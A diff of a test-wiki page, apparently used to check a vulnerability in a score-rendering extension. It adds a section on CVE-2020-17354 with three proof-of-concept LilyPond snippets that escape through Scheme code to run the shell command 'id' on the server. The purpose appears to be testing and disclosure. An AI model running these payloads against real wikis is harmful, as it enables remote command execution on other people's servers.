Tim paste: Difference between revisions
From ZMOG test wiki (master branch)
No edit summary |
No edit summary |
||
Line 53: | Line 53: | ||
C, D, E, F,|G, A, B, C|D E F G|A B c d| | C, D, E, F,|G, A, B, C|D E F G|A B c d| | ||
e f g a|b c' d' e'|f' g' a' b'|] | e f g a|b c' d' e'|f' g' a' b'|] | ||
</score> | |||
== CVE-2020-17354 == | |||
See [https://phabricator.wikimedia.org/T259210 T259210] | |||
1. PoC from task:<score> | |||
{ | |||
\relative { c' } | |||
} | |||
#(begin | |||
(define location 1) | |||
(display "With output-def-scope\n") | |||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | |||
(display "With output-def-lookup\n") | |||
((ly:output-def-lookup #{ \midi {} #} 'system) "id") | |||
) | |||
</score> | |||
2. Again, using raw=1:<score raw=1> | |||
{ | |||
\relative { c' } | |||
} | |||
#(begin | |||
(define location 1) | |||
(display "With output-def-scope\n") | |||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | |||
(display "With output-def-lookup\n") | |||
((ly:output-def-lookup #{ \midi {} #} 'system) "id") | |||
) | |||
</score> | |||
3. Notehead stencil hack PoC, contributed in [https://phabricator.wikimedia.org/T259210#6368852 comment] from LilyPond developer Han-wen Nienhuys: <score> | |||
{ | |||
\override NoteHead.text = \system | |||
\override NoteHead.stencil = | |||
#(lambda (grob) | |||
((cdr (assoc 'text | |||
(cadr (ly:grob-alist-chain grob '())))) "id") | |||
#f) | |||
c4 | |||
} | |||
</score> | </score> |